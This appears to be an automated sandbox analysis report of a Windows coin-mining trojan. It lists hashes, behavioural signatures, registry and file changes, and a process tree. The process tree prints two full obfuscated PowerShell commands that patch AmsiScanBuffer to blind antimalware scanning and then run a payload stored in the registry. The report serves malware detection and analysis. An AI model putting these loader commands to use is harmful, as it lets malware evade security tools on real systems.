Analysis
- max time kernel
35s - max time network
68s - platform
windows10-2004_x64 - resource
win10v2004-en-20220113 - submitted
11/02/2022, 16:57
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe
Resource
win7-en-20211208
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe
Resource
win10v2004-en-20220113
0 signatures
0 seconds
General
- Target SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe
- Size 5.7MB
- Sample220211-vgajvaeedj
- SHA256 60a79ee81b8cddb7dd3dfce0855e2eb6597540fd33249ac41c381f5787f17ef8
- MD5 854bea6a53cc7d96ac9f54b909976c75
- SHA1 88048bf365e629248ed534f00c7003b2c64527b4
- SHA512 dc59b3e62b5d57a8d7541eb50fd716e7372e543f6aea6c3efdd6489a335db6fc1461647e0b1c2e5aa50dcc4f7bf013b39ee0b318e496f5422699800b0566837f
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
description pid Process procid_target PID 4072 created 592 4072 powershell.EXE 22 - Drops file in System32 directory 3 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.EXE File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log powershell.EXE File opened for modification C:\Windows\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Schedule Wake To Work svchost.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 3436 set thread context of 1888 3436 SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe 97 PID 4072 set thread context of 4608 4072 powershell.EXE 105 - Drops file in Windows directory 12 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe File created C:\Windows\Tasks\nslooksvc32.job nslookup.exe File opened for modification C:\Windows\Tasks\nslooksvc64.job nslookup.exe File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\WinSxS\pending.xml TiWorker.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\Logs\CBS\CBS.log TiWorker.exe File opened for modification C:\Windows\Tasks\nslooksvc32.job nslookup.exe File created C:\Windows\Tasks\nslooksvc64.job nslookup.exe - Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2000 schtasks.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.EXE Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.EXE - Suspicious behavior: EnumeratesProcesses 14 IoCs
pid Process 5024 powershell.exe 5024 powershell.exe 3996 powershell.exe 3996 powershell.exe 3436 SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe 4072 powershell.EXE 4072 powershell.EXE 1880 powershell.EXE 1880 powershell.EXE 4072 powershell.EXE 4608 dllhost.exe 4608 dllhost.exe 4608 dllhost.exe 4608 dllhost.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 2528 svchost.exe Token: SeCreatePagefilePrivilege 2528 svchost.exe Token: SeShutdownPrivilege 2528 svchost.exe Token: SeCreatePagefilePrivilege 2528 svchost.exe Token: SeShutdownPrivilege 2528 svchost.exe Token: SeCreatePagefilePrivilege 2528 svchost.exe Token: SeDebugPrivilege 5024 powershell.exe Token: SeDebugPrivilege 3996 powershell.exe Token: SeSecurityPrivilege 3780 TiWorker.exe Token: SeRestorePrivilege 3780 TiWorker.exe Token: SeBackupPrivilege 3780 TiWorker.exe Token: SeDebugPrivilege 3436 SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe Token: SeDebugPrivilege 4072 powershell.EXE Token: SeDebugPrivilege 1880 powershell.EXE Token: SeBackupPrivilege 3780 TiWorker.exe Token: SeRestorePrivilege 3780 TiWorker.exe Token: SeSecurityPrivilege 3780 TiWorker.exe Token: SeBackupPrivilege 3780 TiWorker.exe Token: SeRestorePrivilege 3780 TiWorker.exe Token: SeSecurityPrivilege 3780 TiWorker.exe Token: SeBackupPrivilege 3780 TiWorker.exe Token: SeRestorePrivilege 3780 TiWorker.exe Token: SeSecurityPrivilege 3780 TiWorker.exe Token: SeBackupPrivilege 3780 TiWorker.exe Token: SeRestorePrivilege 3780 TiWorker.exe Token: SeSecurityPrivilege 3780 TiWorker.exe Token: SeBackupPrivilege 3780 TiWorker.exe Token: SeRestorePrivilege 3780 TiWorker.exe Token: SeSecurityPrivilege 3780 TiWorker.exe Token: SeBackupPrivilege 3780 TiWorker.exe Token: SeRestorePrivilege 3780 TiWorker.exe Token: SeSecurityPrivilege 3780 TiWorker.exe Token: SeBackupPrivilege 3780 TiWorker.exe Token: SeRestorePrivilege 3780 TiWorker.exe Token: SeSecurityPrivilege 3780 TiWorker.exe Token: SeBackupPrivilege 3780 TiWorker.exe Token: SeRestorePrivilege 3780 TiWorker.exe Token: SeSecurityPrivilege 3780 TiWorker.exe Token: SeBackupPrivilege 3780 TiWorker.exe Token: SeRestorePrivilege 3780 TiWorker.exe Token: SeSecurityPrivilege 3780 TiWorker.exe Token: SeBackupPrivilege 3780 TiWorker.exe Token: SeRestorePrivilege 3780 TiWorker.exe Token: SeSecurityPrivilege 3780 TiWorker.exe Token: SeBackupPrivilege 3780 TiWorker.exe Token: SeRestorePrivilege 3780 TiWorker.exe Token: SeSecurityPrivilege 3780 TiWorker.exe Token: SeBackupPrivilege 3780 TiWorker.exe Token: SeRestorePrivilege 3780 TiWorker.exe Token: SeSecurityPrivilege 3780 TiWorker.exe Token: SeBackupPrivilege 3780 TiWorker.exe Token: SeRestorePrivilege 3780 TiWorker.exe Token: SeSecurityPrivilege 3780 TiWorker.exe Token: SeBackupPrivilege 3780 TiWorker.exe Token: SeRestorePrivilege 3780 TiWorker.exe Token: SeSecurityPrivilege 3780 TiWorker.exe Token: SeBackupPrivilege 3780 TiWorker.exe Token: SeRestorePrivilege 3780 TiWorker.exe Token: SeSecurityPrivilege 3780 TiWorker.exe Token: SeBackupPrivilege 3780 TiWorker.exe Token: SeRestorePrivilege 3780 TiWorker.exe Token: SeSecurityPrivilege 3780 TiWorker.exe Token: SeBackupPrivilege 3780 TiWorker.exe Token: SeRestorePrivilege 3780 TiWorker.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3436 wrote to memory of 1472 3436 SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe 92 PID 3436 wrote to memory of 1472 3436 SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe 92 PID 1472 wrote to memory of 5024 1472 cmd.exe 94 PID 1472 wrote to memory of 5024 1472 cmd.exe 94 PID 1472 wrote to memory of 3996 1472 cmd.exe 95 PID 1472 wrote to memory of 3996 1472 cmd.exe 95 PID 3436 wrote to memory of 1888 3436 SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe 97 PID 3436 wrote to memory of 1888 3436 SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe 97 PID 3436 wrote to memory of 1888 3436 SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe 97 PID 3436 wrote to memory of 1888 3436 SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe 97 PID 3436 wrote to memory of 1888 3436 SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe 97 PID 3436 wrote to memory of 1888 3436 SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe 97 PID 3436 wrote to memory of 1888 3436 SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe 97 PID 3436 wrote to memory of 1888 3436 SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe 97 PID 3436 wrote to memory of 1888 3436 SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe 97 PID 3436 wrote to memory of 1888 3436 SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe 97 PID 3436 wrote to memory of 1888 3436 SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe 97 PID 3436 wrote to memory of 1048 3436 SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe 98 PID 3436 wrote to memory of 1048 3436 SecuriteInfo.com.Trojan.BtcMine.3606.23579.exe 98 PID 1048 wrote to memory of 2000 1048 cmd.exe 100 PID 1048 wrote to memory of 2000 1048 cmd.exe 100 PID 4072 wrote to memory of 4608 4072 powershell.EXE 105 PID 4072 wrote to memory of 4608 4072 powershell.EXE 105 PID 4072 wrote to memory of 4608 4072 powershell.EXE 105 PID 4072 wrote to memory of 4608 4072 powershell.EXE 105 PID 4072 wrote to memory of 4608 4072 powershell.EXE 105 PID 4072 wrote to memory of 4608 4072 powershell.EXE 105 PID 4072 wrote to memory of 4608 4072 powershell.EXE 105 PID 4072 wrote to memory of 4608 4072 powershell.EXE 105 PID 4072 wrote to memory of 4608 4072 powershell.EXE 105 PID 4072 wrote to memory of 4608 4072 powershell.EXE 105 PID 4072 wrote to memory of 4608 4072 powershell.EXE 105 PID 4608 wrote to memory of 592 4608 dllhost.exe 22 PID 4608 wrote to memory of 660 4608 dllhost.exe 10 PID 4608 wrote to memory of 948 4608 dllhost.exe 5 PID 4608 wrote to memory of 312 4608 dllhost.exe 4 PID 4608 wrote to memory of 440 4608 dllhost.exe 2 PID 4608 wrote to memory of 612 4608 dllhost.exe 3 PID 4608 wrote to memory of 856 4608 dllhost.exe 6 PID 4608 wrote to memory of 1068 4608 dllhost.exe 16 PID 4608 wrote to memory of 1164 4608 dllhost.exe 15 PID 4608 wrote to memory of 1220 4608 dllhost.exe 14 PID 4608 wrote to memory of 1228 4608 dllhost.exe 13 PID 4608 wrote to memory of 1264 4608 dllhost.exe 12 PID 4608 wrote to memory of 1296 4608 dllhost.exe 11 PID 4608 wrote to memory of 1316 4608 dllhost.exe 18 PID 4608 wrote to memory of 1448 4608 dllhost.exe 19 PID 4608 wrote to memory of 1476 4608 dllhost.exe 21 PID 4608 wrote to memory of 1508 4608 dllhost.exe 23 PID 4608 wrote to memory of 1572 4608 dllhost.exe 79 PID 4608 wrote to memory of 1608 4608 dllhost.exe 78 PID 4608 wrote to memory of 1628 4608 dllhost.exe 77 PID 4608 wrote to memory of 1716 4608 dllhost.exe 76 PID 4608 wrote to memory of 1800 4608 dllhost.exe 75 PID 4608 wrote to memory of 1828 4608 dllhost.exe 28 PID 4608 wrote to memory of 1836 4608 dllhost.exe 74 PID 4608 wrote to memory of 1900 4608 dllhost.exe 73 PID 4608 wrote to memory of 1976 4608 dllhost.exe 72 PID 4608 wrote to memory of 2044 4608 dllhost.exe 71 PID 4608 wrote to memory of 988 4608 dllhost.exe 70 PID 4608 wrote to memory of 2084 4608 dllhost.exe 69 PID 4608 wrote to memory of 2184 4608 dllhost.exe 67 PID 4608 wrote to memory of 2208 4608 dllhost.exe 66 PID 4608 wrote to memory of 2236 4608 dllhost.exe 65
Processes
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵PID:440
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵PID:612
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C:\Windows\system32\dwm.exe"dwm.exe"1⤵PID:312
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵PID:948
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵PID:856
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C:\Windows\system32\lsass.exeC:\Windows\system32\lsass.exe1⤵PID:660
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵PID:1296
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵PID:1264
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵PID:1228
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵PID:1220
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
PID:1164 -
C:\Windows\system32\taskhostw.exetaskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}2⤵PID:2360
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:JypGKoGsvILi{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$tNhSdVeKciCNkX,[Parameter(Position=1)][Type]$VulpQaSNkF)$UaUAzAwOTmw=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$UaUAzAwOTmw.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$tNhSdVeKciCNkX).SetImplementationFlags('Runtime,Managed');$UaUAzAwOTmw.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$VulpQaSNkF,$tNhSdVeKciCNkX).SetImplementationFlags('Runtime,Managed');Write-Output $UaUAzAwOTmw.CreateType();}$yMJoyQotaCsTA=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$GYXVfyJmRkyuqv=$yMJoyQotaCsTA.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$gXmxGgaEFtAvzlDhxqf=JypGKoGsvILi @([String])([IntPtr]);$SgDwTkxdAOcbiKjqhLcvgL=JypGKoGsvILi @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$LBLNdzTpkQL=$yMJoyQotaCsTA.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$qrbNGUQChNXdAK=$GYXVfyJmRkyuqv.Invoke($Null,@([Object]$LBLNdzTpkQL,[Object]('Load'+'LibraryA')));$CeHNJuJEUsXyLExpD=$GYXVfyJmRkyuqv.Invoke($Null,@([Object]$LBLNdzTpkQL,[Object]('Vir'+'tual'+'Pro'+'tect')));$ttThzjd=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($qrbNGUQChNXdAK,$gXmxGgaEFtAvzlDhxqf).Invoke('a'+'m'+'si.dll');$VaNgDXoChdlcLYXQp=$GYXVfyJmRkyuqv.Invoke($Null,@([Object]$ttThzjd,[Object]('Ams'+'iSc'+'an'+'Buffer')));$ALKPVrBSGe=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CeHNJuJEUsXyLExpD,$SgDwTkxdAOcbiKjqhLcvgL).Invoke($VaNgDXoChdlcLYXQp,[uint32]8,4,[ref]$ALKPVrBSGe);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$VaNgDXoChdlcLYXQp,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CeHNJuJEUsXyLExpD,$SgDwTkxdAOcbiKjqhLcvgL).Invoke($VaNgDXoChdlcLYXQp,[uint32]8,0x20,[ref]$ALKPVrBSGe);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4072
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXEC:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:KhMEEqpiGhut{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ihcGRrihVJeGtw,[Parameter(Position=1)][Type]$KTioqyomUX)$DvavDLNzmws=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$DvavDLNzmws.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$ihcGRrihVJeGtw).SetImplementationFlags('Runtime,Managed');$DvavDLNzmws.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$KTioqyomUX,$ihcGRrihVJeGtw).SetImplementationFlags('Runtime,Managed');Write-Output $DvavDLNzmws.CreateType();}$hrKxqPdYicdwA=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$OEHFSNLDawiLen=$hrKxqPdYicdwA.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$omlFneVPCZEGJmadfbJ=KhMEEqpiGhut @([String])([IntPtr]);$kxkyJvdrrgrOmLBHlpdWTc=KhMEEqpiGhut @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$DlOkiHIuIyH=$hrKxqPdYicdwA.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$tyOyZKZZyENBHU=$OEHFSNLDawiLen.Invoke($Null,@([Object]$DlOkiHIuIyH,[Object]('Load'+'LibraryA')));$gOpVmAqiKRQsPwMnM=$OEHFSNLDawiLen.Invoke($Null,@([Object]$DlOkiHIuIyH,[Object]('Vir'+'tual'+'Pro'+'tect')));$svPTWkt=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($tyOyZKZZyENBHU,$omlFneVPCZEGJmadfbJ).Invoke('a'+'m'+'si.dll');$ykidIxvCoIsBmOCBa=$OEHFSNLDawiLen.Invoke($Null,@([Object]$svPTWkt,[Object]('Ams'+'iSc'+'an'+'Buffer')));$cdwWtvugIO=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gOpVmAqiKRQsPwMnM,$kxkyJvdrrgrOmLBHlpdWTc).Invoke($ykidIxvCoIsBmOCBa,[uint32]8,4,[ref]$cdwWtvugIO);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$ykidIxvCoIsBmOCBa,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gOpVmAqiKRQsPwMnM,$kxkyJvdrrgrOmLBHlpdWTc).Invoke($ykidIxvCoIsBmOCBa,[uint32]8,0x20,[ref]$cdwWtvugIO);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('nslookstager')).EntryPoint.Invoke($Null,$Null)"2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1880 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV13⤵PID:2124
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵PID:1068
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵PID:1316
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵PID:1448
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵PID:1476
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C:\Windows\system32\sihost.exesihost.exe2⤵PID:2208
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C:\Windows\system32\winlogon.exewinlogon.exe1⤵PID:592
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C:\Windows\System32\dllhost.exeC:\Windows\System32\dllhost.exe /Processid:{52456082-b759-4c17-a0dc-50d40eed19de}2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4608
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵PID:1508
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵PID:1828
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C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service1⤵PID:2752
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3428
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵PID:2984
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:3380
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵PID:3744
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵PID:4216
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵PID:4940
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵PID:4376
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C:\Windows\system32\DllHost.exeC:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}1⤵PID:4140
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:2304
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s camsvc1⤵PID:3760
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C:\Windows\System32\RuntimeBroker.exeC:\Windows\System32\RuntimeBroker.exe -Embedding1⤵PID:3636
